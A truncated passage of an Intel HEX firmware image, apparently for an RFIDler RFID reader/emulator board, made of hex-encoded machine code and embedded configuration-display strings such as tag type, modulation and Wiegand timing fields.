6167652034202620353a20bc\n:10ca34002564203d200000002020202020202020ec\n:10ca4400506167652036202620373a202564203d32\n:10ca540020000000202020202020202020205365ba\n:10ca64006375726974793a202564203d20000000c2\n:10ca740020202020202020202020202020204d6f36\n:10ca840064653a202564203d2000000020202020f9\n:10ca9400202020204d6f64756c6174696f6e3a209c\n:10caa4002564203d200000000d0a20202020205075\n:10cab400574420426c6f636b202833293a20252e7b\n:10cac4003673202020202020000000004e6f2048d4\n:10cad40069546167322050574d2073746f726564d6\n:10cae4000d0a0000436f756e74206f766572666c74\n:08caf4006f770d0a000000003d\n:020000040000fa\n:020000041d04d9\n:10cafc002140c000214880003b00e0142118a00018\n:10cb0c002b10a600480040102010c27008004050a6\n:10cb1c00023408002318020004284500061864009b\n:10cb2c0004404600251865000448440002340800ff\n:10cb3c001b006600f401c000102000001258000019\n:10cb4c00ffff0c310254090002586c7100240400e0\n:10cb5c0025508a002b684b011b006600f401c000b5\n:10cb6c000900a05123504b01215048012b184801ba\n:10cb7c000500605423504b012b204b012118480118\n:10cb8c000b50640023504b01ffff23311b00460167\n:10cb9c00f401c000104800001220000002208c702c\n:10cbac00004c0900254823012b1824011b004601c9\n:10cbbc00f401c000090060502348240121482801d9\n:10cbcc002b18280105006054234824012b1824013c\n:10cbdc00214028010b480301234824010610490079\n:10cbec000800e003211800002b10a7004700401498\n:10cbfc002050ea704800401520000b242b10e50053\n:10cc0c0005004014231086002b4086008900001577\n:10cc1c0021108000231086002328a7002b208200df\n:10cc2c000800e0032318a4000600c01420100271b1\n:10cc3c00010002241b004600f401c0001240000059\n:10cc4c00201002717d004054044048002328a800a5\n:10cc5c00021c0800ffff0731022409001b00a3007f\n:10cc6c00f401600010500000123000000230c77058\n:10cc7c0000540a00252044012b5086001b00a30001\n:10cc8c00f401600009004051232086002120880017\n:10cc9c002b2888000500a054232086002b508600ea\n:10ccac00212888000b20aa0023208600ffff2631b4\n:10ccbc001b008300f40160001048000012280000e3\n:10cccc000228a770004c0900254826012b302501ad\n:10ccdc001b008300f40160000900c05023482501ab\n:10ccec00214828012b1828010500605423482501f0\n:10ccfc002b182501214028010b480301234825014d\n:10cd0c00061049000800e0032118000021108000e3\n:10cd1c000800e0032118a00023586a0104384701d9\n:10cd2c00061066012538470006686501024c0700ad\n:10cd3c001b00a901f4012001106000001218000072\n:10cd4c00ffffee3004284501061064012510450054\n:10cd5c00022c0200043046011240000002786e7072\n:10cd6c0000640c00256085012b288f011b00a90194\n:10cd7c00f40120010a00a010042044012160870165\n:10cd8c002b2887010600a014ffff68242b288f0195\n:10cd9c000400a05023608f01feff682421608701ee\n:10cdac0023608f01ffff42301b008901f401200139\n:10cdbc0010280000121800001268000002706e703b\n:10cdcc00002c05002510a2002b284e001b00890109\n:10cddc00f40120010600a050004408002110470077\n:10cdec002b2847004c00a010ffff6d2400440800c6\n:10cdfc002540a80123104e00190006011048000020\n:10ce0c002b1849003e006014124000004b004910e2\n:10ce1c002318490012300000233086002b20860096\n:10ce2c0023186400041063010630460125104600e7\n:10ce3c00061843010800e00300000000200009244c\n:10ce4c002348220106502501021c08001b00430147\n:10ce5c00f40160001030000012580000ffff073191\n:10ce6c0004284500064824012528250102640500f4\n:10ce7c0004484400025867710034060025308601ce\n:10ce8c002b20cb001b004301f401600006008050f6\n:10ce9c002330cb002130c8002b20c8002400801088\n:10ceac002b50cb002330cb00ffffaa301b00c3005c\n:10cebc00f401600010200000122800000228a77066\n:10cecc000024040025208a002b5085001b00c30081\n:10cedc00f401600060ff4051232885002120880068\n:10ceec002b3088005cffc054232885002b50850014\n:10cefc00213088000b20ca001933410b23288500f0\n:10cf0c0023300601231827012b4006012318680043\n:10cf1c008933410b231843002b284e00b4ffa0503b\n:10cf2c0000440800feff6d247e33410b21104700a6\n:10cf3c002120c800ac33410b0b308a002b18880021\n:10cf4c00f0ff605423300601123000008933410b8e\n:10cf5c00211800002140c000211080003f00e01487\n:10cf6c002148a0002b18a600470060102018c370a1\n:10cf7c0008006050021c08002348030004286500c8\n:10cf8c00064824010440660025482501041064006d\n:10cf9c00021c08001b002301f4016000106000005b\n:10cfac0012580000ffff0a31022402001230000068\n:10cfbc0002386a7100640c00252084012b60870004\n:10cfcc001b002301f40160000b0080112328870053\n:10cfdc00212088002b2888000600a014ffff66255e\n:10cfec002b2887000400a01023288700feff66254d\n:10cffc002120880023288700ffff42301b00a3005c\n:10d00c00f4016000104800001238000012200000eb\n:10d01c000250ea70004c0900251022012b484a00ee\n:10d02c001b00a300f401600009002051001406004d\n:10d03c00211048002b40480004000015ffffe42499\n:10d04c002b504a00feffe7240b20ea0000140600d8\n:10d05c00251082000800e003211800002b10a70007\n:10d06c00440040142040e870450000552000022484\n:10d07c002b28e500c800a0142b3086000100c23814\n:10d08c000800e003211800000600c01420180371ea\n:10d09c00010003241b006600f401c00012400000d4\n:10d0ac00201803717b006054044068002320a80002\n:10d0bc00023c0800ffff0b31010003240234020084\n:10d0cc001b008700f401e0001068000012600000f3\n:10d0dc001248000002508b71006c0d002530a60127\n:10d0ec002b68ca001b008700f401e0000900a011a6\n:10d0fc002328ca002130c8002b20c800040080144b\n:10d10c00ffff89252b20ca00a6008054feff89252d\n:10d11c002328ca00ffff42301b00a700f401e000e7\n:10d12c001050000012300000122000000258cb708a\n:10d13c0000540a00251042012b504b001b00a70085\n:10d14c00f401e000090040510014090021104800ce\n:10d15c002b40480004000015ffffc4242b584b0043\n:10d16c00feffc6240b20cb00001409000800e003ce\n:10d17c0025108200211800000800e0032110000097\n:10d18c0023104800043807010618460025386700ac\n:10d19c0006504500021c07001b004301f40160000f\n:10d1ac001048000012680000ffffeb300428050156\n:10d1bc0006104400252845000274050012100000da\n:10d1cc000260ab71004c090025482e012b702c011c\n:10d1dc001b004301f40160000a00c0110430060179\n:10d1ec00214827012b50270106004015ffffa225df\n:10d1fc002b502c010400405123482c01feffa2258a\n:10d20c002148270123482c01ffffa5301b002301d7\n:10d21c00f401600010680000126000001250000061\n:10d22c0002588b71006c0d002528a5012b68ab00f2\n:10d23c001b002301f40160000b00a051001402003c\n:10d24c002128a7002b18a70006006014ffff8a25d1\n:10d25c002b18ab000400605000140200feff8a255e\n:10d26c002128a70000140200251042012328ab003e\n:10d27c0019004600103800002b18a7004400601459\n:10d28c00123000003f00a710042004010800e00346\n:10d29c0021180000200002242310430006484500fa\n:10d2ac00023c08001b002701f401e00010300000d4\n:10d2bc0012600000ffff0b310428650006104400cb\n:10d2cc0025284500026c05000410640012180000ab\n:10d2dc0002508b71003406002530a6012b20ca00a9\n:10d2ec001b002701f401e0000b0080502330ca0022\n:10d2fc002130c8002b20c80006008014ffff8325b6\n:10d30c002b20ca00040080502330ca00feff832566\n:10d31c002130c8002330ca00ffffac301b00c7000f\n:10d32c00f401e00010200000125000001248000030\n:10d33c0002284b710024040025208c002b608500f2\n:10d34c001b00c700f401e0000b008051001c03001f\n:10d35c00212088002b3088000600c014ffff4925cf\n:10d36c002b3085000400c050001c0300feff492533\n:10d37c0021208800001c0300232085003234410b3f\n:10d38c00251823012b308600c0ffc01000000000c0\n:10d39c00a634410bffff4224211800000800e003d3\n:10d3ac00010002244734410b2130c800f0ffbd2797\n:10d3bc000c00beaf21f0a003211080001000c2a30e\n:10d3cc001000c29302000324180043100000000058\n:10d3dc000300432806006010000000000100032435\n:10d3ec000b004310000000002335410b000000002f\n:10d3fc000300032414004310000000000400032465\n:10d40c0018004310000000002335410b0000000001\n:10d41c0088bf023ca060428c4000427cff0042303e\n:10d42c000000c2af2635410b0000000088bf023c53\n:10d43c00a060428c8000427cff0042300000c2aff2\n:10d44c002635410b0000000088bf023ca060428cd6\n:10d45c00c000427cff0042300000c2af2635410bb9\n:10d46c000000000088bf023c2061428c4001427cdd\n:10d47c00ff0042300000c2af2635410b0000000017\n:10d48c00211000002735410b000000000000c28f66\n:10d49c0021e8c0030c00be8f1000bd270800e0037c\n:10d4ac0000000000f8ffbd270400beaf21f0a00370\n:10d4bc00211080000c00c5af0800c2a30800c29365\n:10d4cc000500432c5700601000000000801802007b\n:10d4dc00059d023cf4d44224211062000000428cd1\n:10d4ec00080040000000000008d5049d90d5049d64\n:10d4fc00b8d5049de0d5049d08d6049d0c00c28fc0\n:10d50c00ff00423001004230ff00443088bf033c32\n:10d51c00a06062944408827ca06062a40c00c28f5c\n:10d52c00ff00423001004230ff00443088bf033c12\n:10d53c00a06062948410827ca06062a40c00c28ff4\n:10d54c00ff00423001004230ff00443088bf033cf2\n:10d55c00a0606294c418827ca06062a40c00c28f8c\n:10d56c00ff00423001004230ff00443088bf033cd2\n:10d57c00206162944429827c206162a48f35410b26\n:10d58c00000000000c00c28fff004230010042304e\n:10d59c00ff00443088bf033ca06062944408827c46\n:10d5ac00a06062a48f35410b000000000c00c28ffc\n:10d5bc00ff00423001004230ff00443088bf033c82\n:10d5cc00a06062948410827ca06062a48f35410bb1\n:10d5dc00000000000c00c28fff00423001004230fe\n:10d5ec00ff00443088bf033ca0606294c418827c66\n:10d5fc00a06062a48f35410b000000000c00c28fac\n:10d60c00ff00423001004230ff00443088bf033c31\n:10d61c00206162944429827c206162a48f35410b85\n:10d62c0000000000211000009035410b00000000ac\n:10d63c000100022421e8c0030400be8f0800bd27ae\n:10d64c000800e00300000000e0ffbd271c00bfaf96\n:10d65c001800beaf21f0a003211080002000c2a34f\n:10d66c002000c29321204000ee34410f0000000046\n:10d67c001000c2af2000c3931000c28f0100422cd7\n:10d68c00ff00423021206000212840002c35410f42\n:10d69c000000000021e8c0031c00bf8f1800be8fe3\n:10d6ac002000bd270800e00300000000e8ffbd27b4\n:10d6bc001400bfaf1000beaf21f0a00321108000fa\n:10d6cc001800c2a31800c2932120400001000524b9\n:10d6dc002c35410f0000000021e8c0031400bf8f5f\n:10d6ec001000be8f1800bd270800e00300000000ea\n:10d6fc00e8ffbd271400bfaf1000beaf21f0a003a0\n:10d70c00211080001800c2a31800c29321204000f1\n:10d71c00212800002c35410f0000000021e8c00337\n:10d72c001400bf8f1000be8f1800bd270800e00347\n:10d73c0000000000e0ffbd271c00bfaf1800beaf0b\n:10d74c0021f0a003010002241000c2a3f235410b0a\n:10d75c00000000001000c293059d033c0464642487\n:10d76c00212840006913410f000000001000c293f3\n:10d77c0021204000ee34410f000000000500401055\n:10d78c0000000000059d023c14644224ea35410b64\n:10d79c0000000000059d023c18644224059d033cda\n:10d7ac001c646424212840000413410f0000000075\n:10d7bc001000c293010042241000c2a31000c293b7\n:10d7cc000500422ce3ff40140000000021e8c003d8\n:10d7dc001c00bf8f1800be8f2000bd270800e0037f\n:04d7ec000000000039\n:020000040000fa\n:020000041d04d9\n:10d7f0000080013c2638e10040580500425d0b00e6\n:10d80000c0520500427d040025504f01c04a04006b\n:10d810000080083c255048014070070042750e000a\n:10d82000c06a0700427d06002568af01c06206009d\n:10d830002568a801ffff6f25fe07e12d8d00201050\n:10d8400000000000ffffcf25fe07e12dbb002010e8\n:10d85000000000000080013c2428a10023406e014c\n:10d860002c0000110000000015000019000000004d\n:10d870002000012d0700201400000000e0ff082117\n:10d880002b300c0023000d102560a601f8ff0010be\n:10d8900000000d341f0000110000000022200800cd\n:10d8a00004308c0004208d0006600c0106680d0118\n:10d8b0001800c01025608c001600001002008c3586\n:10d8c00025580e00234008002000012d07002014d9\n:10d8d00000000000e0ff08212b3009000d000a10b5\n:10d8e00025484601f8ff001000000a340900001125\n:10d8f00000000000222008000430890004208a0073\n:10d900000648090106500a010200c0102548890096\n:10d91000020029352678a7001c00e0050000000061\n:10d9200021482c012b782c0121504d0121504f0111\n:10d9300002004d11000000002b784d013700e0116e\n:10d940000000000001002f310200e0110000000083\n:10d950000200293542480900c07f0a0025482f01ee\n:10d9600042500a000080013c2550410101006b2516\n:10d97000ff0701242900611500000000f07f013c31\n:10d980002528a10037000010000004242b782c016a\n:10d9900023482c012b104f0123504f012b784d01b0\n:10d9a0002578e2010700e01123504d010080013c81\n:10d9b0002628a1002b7809002348090023500a00db\n:10d9c00023504f01080040150000000003002015ff\n:10d9d000000000000d00001000000b242550200165\n:10d9e00000000924e0ff6b2520404871070000116a\n:10d9f000000000002358680122200800062089004a\n:10da00000448090104500a012550440125784901c0\n:10da10000200e01500000000000005246800601905\n:10da2000000000000004292500042f2d21504f0183\n:10da30002b784f0121586f01c27a09000100ef31a4\n:10da400023482f01c2220900407d0a0025208f00b3\n:10da500040780a00027b0f002528af00007d0b00f4\n:10da60002528af0025100400251805000800e00354\n:10da7000000000002a7820012148290121504a0194\n:10da80002300601521504f01257849011400e01151\n:10da900000000000080040150000000003002015f1\n:10daa0000000000067ff001000000b24255020013b\n:10dab00000000924e0ff6b252040487161ff001140\n:10dac0000000000023586801222008000620890079\n:10dad0000448090104500a015aff0010255044016e\n:10dae000ff0701241500c111000000002140e700dc\n:10daf000257806010300e01500000000d9ffe004ce\n:10db00000000000025100600d8ff001025180700af\n:10db1000257849012700e01500000000ff070124d7\n:10db2000d0ffc115000000002678a7002100e00505\n:10db300000000000f3ff0010000000002a788001c0\n:10db400021608c012168ad011700c0152168af016b\n:10db50002578ac01c3ffe011000000000800a0150b\n:10db600000000000030080150000000039ff0010d5\n:10db700000000e242568800100000c24e0ffce2563\n:10db80002040a87133ff0011000000002370c8017d\n:10db90002220080006208c0004600c0104680d019e\n:10dba0002cff00102568a4012578ac01d5ffe011f9\n:10dbb00000000000f8ff053caaff0010000004244c\n:10dbc0000100082423400b012000012d0700201430\n:10dbd00000000000e0ff08212b3009000d000a10b2\n:10dbe00025484601f8ff001000000a340900001122\n:10dbf00000000000222008000430890004208a0070\n:10dc00000648090106500a010200c0102548890093\n:10dc10000200293583ff001000000b2400000000e3\n:020000040000fa\n:020000041d04d9\n:10dc2000d8ffbd272400bfaf2000beaf21f0a00366\n:10dc30002800c4af00a0023cdc564224870042907a\n:10dc4000f7ff42240d00432cf1006010000000009b\n:10dc500080180200059d023c6cdc42242110620009\n:10dc60000000428c08004000000000003cdd049de4\n:10dc70003cdd049db8dd049dfcdf049dfcdf049dbc\n:10dc800004df049d54de049d10e0049da0dc049d8f\n:10dc900010e0049d10e0049dd0de049d80df049d13\n:10dca00000a0023c5c4544242800c58f6629410f32\n:10dcb00000000000040040140000000021100000db\n:10dcc0000538410b0000000000a0023cdc56422455\n:10dcd000b000458c00a0023cdc5642249c00438ce2\n:10dce00000a0023cdc564224a400428c00a0043c6c\n:10dcf000dc568424a800878c00a0043cdc568424d5\n:10dd0000ac00868c00a0043cdc568424d400848cb7\n:10dd10001000a7af1400a6af1800a4af00a0043ce9\n:10dd20005c4584242130600021384000e6f8400f33\n:10dd3000000000000538410b0000000000a0023c7c\n:10dd40005c4544242800c58fa9db400f000000007b\n:10dd50000400401400000000211000000538410bb1\n:10dd60000000000000a0023cdc564224b000458cbc\n:10dd700000a0023cdc5642249c00438c00a0023ce4\n:10dd8000dc564224a400428c00a0043cdc568424cf\n:10dd9000d400848c1000a4af00a0043c5c45842413\n:10dda0002130600021384000fdfe400f00000000df\n:10ddb0000538410b0000000000a0023c5c454424f3\n:10ddc0002800c58ff73d410f0000000004004014fb\n:10ddd00000000000211000000538410b0000000089\n:10dde00000a0023cdc564224b000458c00a0023c5e\n:10ddf000dc5642249c00438c00a0023cdc564224aa\n:10de0000a400428c00a0043cdc568424a800878c2b\n:10de100000a0043cdc568424ac00868c00a0043caa\n:10de2000dc568424d400848c1000a7af1400a6af65\n:10de30001800a4af00a0043c5c458424213060009d\n:10de400021384000e6f8400f000000000538410b83\n:10de50000000000000a0023c5c4544242800c58f5f\n:10de6000d31b410f0000000004004014000000001c\n:10de7000211000000538410b0000000000a0023c0a\n:10de8000dc564224b000458c00a0023cdc56422403\n:10de90009c00438c00a0023cdc564224a400428c2f\n:10dea00000a0043cdc568424d400848c1000a4af71\n:10deb00000a0043c5c4584242130600021384000ef\n:10dec000fdfe400f000000000538410b000000007f\n:10ded00000a0023c5c4544242800c58fc81d410faa\n:10dee00000000000040040140000000021100000a9\n:10def0000538410b00000000211000000538410bdf\n:10df00000000000000a0023c5c4544242800c58fae\n:10df10005d44410f000000000400401400000000b8\n:10df2000211000000538410b0000000000a0023c59\n:10df3000dc564224b000458c00a0023cdc56422452\n:10df40009c00438c00a0023cdc564224a400428c7e\n:10df500000a0043cdc568424d400848c1000a4afc0\n:10df600000a0043c5c45842421306000213840003e\n:10df7000fdfe400f000000000538410b00000000ce\n:10df800000a0023c5c4544242800c58fd942410fc3\n:10df900000000000040040140000000021100000f8\n:10dfa0000538410b0000000000a0023cdc56422472\n:10dfb000b000458c00a0023cdc5642249c00438cff\n:10dfc00000a0023cdc564224a400428c00a0043c89\n:10dfd000dc568424d400848c1000a4af00a0043c40\n:10dfe0005c4584242130600021384000fdfe400f54\n:10dff000000000000538410b000000002800c48f1d\n:10e00000ea26410f000000000538410b0000000027\n:10e010002110000021e8c0032400bf8f2000be8f24\n:10e020002800bd270800e00300000000f0ffbd2726\n:10e030000c00beaf21f0a0030000c0af0000c0afd5\n:10e040000000c28f2014027c21e8c0030c00be8fa8\n:10e050001000bd270800e00300000000f0ffbd270e\n:10e060000c00beaf21f0a0030000000088bf023cfe\n:10e070004010428c40004230fcff40100000000085\n:10e0800080bf023c3064428c0000c2a388bf033cc6\n:10e090004010628c8431027c401062ac0000c2836c\n:10e0a00021e8c0030c00be8f1000bd270800e0036c\n:10e0b00000000000f8ffbd270400beaf21f0a00360\n:10e0c00080bf023cad000324406443ac80bf023cef\n:10e0d000006440ac80bf033c0064629401000424ef\n:10e0e000c418827c006462a480bf023c106440ac0f\n:10e0f00080bf033c0064629401000424c47b827ce2\n:10e10000006462a480bf033c1064628c010004249c\n:10e110008452827c106462ac88bf033c4010628ce5\n:10e120008431027c401062ac80bf033c1064628c7e\n:10e13000010004240463827c106462ac21e8c00303\n:10e140000400be8f0800bd270800e00300000000a7\n:10e15000f8ffbd270400beaf21f0a00388bf023c3a\n:10e160004010428c4000423004004010000000008b\n:10e17000010002246038410b000000002110000063\n:10e1800021e8c0030400be8f0800bd270800e0039b\n:10e1900000000000e0ffbd271c00bfaf1800beafad\n:10e1a00021f0a0032000c4af7038410b0000000034\n:10e1b0001000c283212040007e38410f0000000083\n:10e1c0002000c28f010043242000c3af0000428022\n:10e1d0001000c2a31000c293f5ff4014000000001d\n:10e1e00021e8c0031c00bf8f1800be8f2000bd2790\n:10e1f0000800e00300000000f8ffbd270400beafe8\n:10e2000021f0a003211080000800c2a30800c383ee\n:10e2100080bf023c206443ac0000000080bf023c91\n:10e220001064428c00014230fcff401000000000ee\n:10e2300021e8c0030400be8f0800bd270800e003ea\n:10e2400000000000e0ffbd271c00bfaf1800beaffc\n:10e2500021f0a003211080002000c2a31000c0a361\n:10e260002000c2931100c2a31100c2936400422c8b\n:10e2700010004014000000001100c393eb51023c59\n:10e280001f85423419006200101000004211020084\n:10e29000ff00423030004224ff0042302014027c54\n:10e2a000212040007e38410f0000000001000224c0\n:10e2b0001000c2a31100c393eb51023c1f854234ee\n:10e2c000190062001010000042110200ff004230ed\n:10e2d0002118400021106000c010020080200200c0\n:10e2e000211044002310430080100200ff0043303f\n:10e2f0001100c293211062001100c2a31100c29349\n:10e300000a00422c05004010000000001000c393da\n:10e31000010002240e006214000000001100c393eb\n:10e32000cccc023ccdcc423419006200101000006d\n:10e33000c2100200ff00423030004224ff00423091\n:10e340002014027c212040007e38410f0000000094\n:10e350001100c393cccc023ccdcc423419006200f6\n:10e3600010100000c2100200ff00423040100200f6\n:10e37000801802002110430023100200ff004330e8\n:10e380001100c293211062001100c2a31100c293b8\n:10e3900030004224ff0042302014027c2120400043\n:10e3a0007e38410f0000000021e8c0031c00bf8f31\n:10e3b0001800be8f2000bd270800e0030000000009\n:10e3c000f8ffbd270400beaf21f0a00380bf023cd0\n:10e3d0001064428c02004230050040100000000032\n:10e3e00080bf033c1064628c4408027c106462ac01\n:10e3f00021e8c0030400be8f0800bd270800e00329\n:04e400000000000018\n:020000040000fa\n:020000041d04d9\n:10e40400c8ffbd273400bfaf3000beaf2c00b7af8c\n:10e414002800b6af2400b5af2000b4af1c00b3afe2\n:10e424001800b2af1400b1af1000b0af21b8800033\n:10e4340000008280059d1e3ca13cde272118c203fa\n:10e444000000638021a8a0008800633008006010e9\n:10e4540021a0800001009426000082822118c203ba\n:10e464000000638088006330fbff60540100942641\n:10e474002d000324980043102b0042380100422c45\n:10e484002198000021a08202000086822110c60388\n:10e49400000042900400423021880000bc0040107b\n:10e4a4002180000021900000d0ffd6242128000202\n:10e4b4002120200221300000d740410f2440073c96\n:10e4c40021804000218860003a55410f2120c0027c\n:10e4d4002120000221282002213040002138600040\n:10e4e400fe35410f01009426218840002180600000\n:10e4f400000086822110c6030000429004004230ce\n:10e50400e9ff401425905602010003242e00022442\n:10e514004800c2500100828272006054000082826e\n:10e524002a00a0120000000021a0e00221b800008f\n:10e534000000b4ae2500e01221400000c31717000c\n:10e5440026b0570023b0c202059d153c105eb526c7\n:10e55400f03f093c5a39410b090014240e00801283\n:10e56400f8ffb526ffff94260710960201004230fb\n:10e57400faff4010212000010000a68e0400a78e9f\n:10e58400d740410f2128200121404000214860004c\n:10e59400f4ff8016f8ffb52621202002212800026e\n:10e5a400213000017500e00621382001d740410fd9\n:10e5b4000000000021204000212860008449410f10\n:10e5c4002130e00221884000218060007b0020127d\n:10e5d40000f0027e2510300273004010000000009d\n:10e5e4000700601221102002212020024359410f0c\n:10e5f400212800022188400021806000211020028f\n:10e60400211800023400bf8f3000be8f2c00b78f5a\n:10e614002800b68f2400b58f2000b48f1c00b38f60\n:10e624001800b28f1400b18f1000b08f0800e003ff\n:10e634003800bd272120c2030000849004008430e8\n:10e64400b5ff80100100942621b80000d0ff5624a5\n:10e65400212800022120200221300000d740410f50\n:10e664002440073c21804000218860003a55410f36\n:10e674002120c00221200002212820022130400054\n:10e6840021386000fe35410f0100942621884000a6\n:10e694002180600000008282259056022118c20366\n:10e6a4000000639004006330e8ff6014fffff72666\n:10e6b400dfff032424184300201c037c45000224ac\n:10e6c4000f006250010083829affa0560000b4ae8e\n:10e6d4004e39410b00000000010094262339410b00\n:10e6e40001001324dfff032424184300201c037caf\n:10e6f40045000224f4ff621421b800000100838263\n:10e704002d000224190062102b0002242300625001\n:10e714000200838201009426213800002110c303e3\n:10e7240000004290040042300c0040102110000010\n:10e7340001009426d0ff652400008382403002004b\n:10e74400c01002002120c303000084902110c200e5\n:10e7540004008430f6ff80142110450023180200c1\n:10e764000b106700b339410b21b8e2020200838227\n:10e7740001000724c839410b020094266f30410f71\n:10e7840000000000212040007039410b2128600066\n:10e79400211800004439410b219000002138000069\n:10e7a400c839410b020094268dff40122200032435\n:10e7b40000a0023c7939410bf40343acf07f033ce5\n:10e7c40085ff431425103002ed39410b2200032448\n:020000040000fa\n:020000041d04d9\n:10e7d400d8ffbd272400bfaf2000beaf21f0a003a7\n:10e7e4001400c0a300a0023cdc56422487004290df\n:10e7f4000a00401400000000059d023cc85844244f\n:10e80400059d023ccc5845240413410f0000000030\n:10e81400211000004d3a410b00000000059d023c10\n:10e82400c8584424059d023ce45845240413410f70\n:10e8340000000000010002241000c2af463a410b60\n:10e84400000000002b15410f0000000003004010e1\n:10e85400000000004d3a410b000000001400c29378\n:10e864000600401400000000059d023ce8584424c2\n:10e874001000c58f6913410f0000000000a0023c86\n:10e88400dc564224a0004290ffff42240300422ca5\n:10e8940026004010000000001800c22721200000bc\n:10e8a400212800001000c68f21384000dc2a410fc7\n:10e8b4000000000000a0023cdc5642248700429085\n:10e8c40000a0033cdc24642421284000ec2d410feb\n:10e8d400000000000a0040100000000001000224b3\n:10e8e4001400c2a3059d023cf85844241000c58faf\n:10e8f4006913410f00000000423a410b0000000080\n:10e904001400c0a3000000001000c28f01004224c4\n:10e914001000c2af1000c28f0001422cc9ff401486\n:10e92400000000004d3a410b000000000000000010\n:10e9340021e8c0032400bf8f2000be8f2800bd271c\n:10e944000800e00300000000c8ffbd273400bfaf8b\n:10e954003000beaf21f0a00300a0023cdc564224ec\n:10e96400a00042900a00401400000000059d023cf3\n:10e97400c8584424059d023c085945240413410ffa\n:10e984000000000021100000e23a410b00000000ea\n:10e9940000a0023cdc564224bc0042900a00401411\n:10e9a40000000000059d023cc8584424059d023c1b\n:10e9b4001c5945240413410f0000000021100000dd\n:10e9c400e23a410b00000000020002242800c2af1a\n:10e9d400dd3a410b0000000000a0023cdc5642245a\n:10e9e400a000429001000324300043100000000006\n:10e9f40004000324580043140000000000a0023c5b\n:10ea0400dc5642249c00438c00a0023cdc56422489\n:10ea1400b000428c00a0043cdc568424bc008490ea\n:10ea24002130800000a0043cdc5684248c00858cba\n:10ea340000a0043cdc5684248800848c00a0073c9d\n:10ea44009957e7241000a7af1400a6af1800a5af8c\n:10ea54001c00a4af212060002800c58f00a0033c47\n:10ea6400da57662421384000a406410f0000000054\n:10ea74002118400000a0023cdc564224b000428c25\n:10ea8400080062140000000000a0023cdc5642248e\n:10ea94002800c38fa40043ac2800c28fe23a410b84\n:10eaa40000000000da3a410b0000000000a0023c24\n:10eab400dc5642249c00438c00a0023cdc564224d9\n:10eac400b000428c00a0043cdc568424bc0084903a\n:10ead4002128800000a0043cdc5684248c00848c13\n:10eae40000a0063c9957c6241000a6af1400a5af99\n:10eaf4001800a4af1c00a0af010004242000a4afa0\n:10eb0400212060002800c58f00a0033cda5766244a\n:10eb1400213840008dff400f000000002118400004\n:10eb240000a0023cdc564224b000428c080062146f\n:10eb34000000000000a0023cdc5642242800c38fe1\n:10eb4400a40043ac2800c28fe23a410b000000004d\n:10eb5400da3a410b0000000021100000e23a410bb8\n:10eb6400000000002800c28f010042242800c2af28\n:10eb74002800c28f0001422c97ff401400000000bf\n:10eb84002110000021e8c0033400bf8f3000be8f85\n:0ceb94003800bd270800e003000000006e\n:020000040000fa\n:020000041d04d9\n:10eba000524649446c657200257300000d0a0d0a37\n:10ebb00043757272656e7420636f6e6669673a0d95\n:10ebc0000a0000000d0a2020544147205479706546\n:10ebd0003a202020202020202020202020257300e3\n:10ebe0000d0a20204672616d6520436c6f636b20b7\n:10ebf00075532f3130303a20202564000d0a202033\n:10ec00004d6f64756c6174696f6e3a20202020200e\n:10ec100020202020202573000d0a20204d616e63e6\n:10ec20006865737465723a202020202020202020ff\n:10ec3000202573000d0a2020426950686173653aef\n:10ec4000202020202020202020202020202573008c\n:10ec50000d0a2020496e766572743a20202020200b\n:10ec60002020202020202020202573000d0a202095\n:10ec70004461746120526174652052462f6e3a20bf\n:10ec800020202020202564000d0a2020446174618a\n:10ec900020526174652053756220303a2020202074\n:10eca000202564000d0a20204461746120526174a3\n:10ecb000652053756220313a2020202020256400f1\n:10ecc0000d0a20204461746120426974733a202047\n:10ecd0002020202020202020202564000d0a202034\n:10ece0004461746120426c6f636b733a2020202072\n:10ecf00020202020202564000d0a2020426c6f6314\n:10ed00006b73697a653a2020202020202020202063\n:10ed1000202564000d0a202053796e632042697417\n:10ed2000733a20202020202020202020202564004d\n:10ed30000d0a202053796e6320303a2020202020b5\n:10ed400020202020202020202030782530327800fc\n:10ed50000d0a202053796e6320313a202020202094\n:10ed600020202020202020202030782530327800dc\n:10ed70000d0a202053796e6320323a202020202073\n:10ed800020202020202020202030782530327800bc\n:10ed90000d0a202053796e6320333a202020202052\n:10eda000202020202020202020307825303278009c\n:10edb0000d0a2020506f74204c6f773a20202020bd\n:10edc0002020202020202020202564000d0a202043\n:10edd000506f7420486967683a2020202020202046\n:10ede00020202020202564000d0a202050534b2095\n:10edf0005175616c6974792075533a202020202068\n:10ee0000202564000d0a20205265706561743a2047\n:10ee100020202020202020202020202020256400c9\n:10ee20000d0a202054696d656f75742075533a2062\n:10ee30002020202020202020202564000d0a2020d2\n:10ee40005257442047617020464320202020202034\n:10ee500020202020202564000d0a20205257442025\n:10ee6000536c6565702046433a20202020202020e6\n:10ee7000202564000d0a20205257442057616b65fd\n:10ee80002046433a202020202020202020256400f6\n:10ee90000d0a2020525744205a65726f2046433a8b\n:10eea0002020202020202020202564000d0a202062\n:10eeb000525744204f6e652046433a2020202020a0\n:10eec00020202020202564000d0a202052574420b5\n:10eed000576169742052582d3e54582046433a20b9\n:10eee000202564000d0a2020525744205761697480\n:10eef0002054582d3e52582046433a202025640085\n:10ef00000d0a202057696567616e642050756c7327\n:10ef1000652075533a202020202564000d0a20200a\n:10ef200057696567616e64204761702075533a20a8\n:10ef300020202020202564000d0a202057696567c5\n:10ef4000616e642049646c6553746174653a202075\n:08ef50002025730d0a000000ea\n:020000040000fa\n:020000041d04d9\n:10ef5800f8ffbd270400beaf21f0a0030800c4af2e\n:10ef68000c00c5af1000c6af1400c7af00a0023c2c\n:10ef7800dc5642240800c38f9c0043ac00a0023c2e\n:10ef8800dc5642240c00c38fec0043ac00a0023cca\n:10ef9800dc5642241000c38ff00043ac00a0023cb2\n:10efa800dc5642241400c38fe40043ac00a0023caa\n:10efb800dc5642241800c38fe80043ac00a0023c92\n:10efc800dc5642241c00c38fe00043ac00a0023c86\n:10efd800dc5642242000c38ff40043ac00a0023c5e\n:10efe800dc5642242400c38ff80043ac21e8c00358\n:10eff8000400be8f0800bd270800e00300000000e1\n:10f00800e0ffbd271c00bfaf1800beaf21f0a00372\n:10f018002000c4af2400c5af2800c6af2c00c7af7e\n:10f028003000c28f1000c2a33400c28fa08082af0c\n:10f038003800c28f40100200b08082af3c00c28fff\n:10f0480040100200b48082af4000c28f401002001e\n:10f05800a88082af4400c28f40100200ac8082af0b\n:10f068004800c28f40100200a48082af4c00c28fbb\n:10f0780040100200c08082afa880828f0700401035\n:10f0880000000000ac80828f0400401000000000e7\n:10f09800a480828f040040140000000021100000aa\n:10f0a800873c410b000000002000c28f0000439005\n:10f0b80030000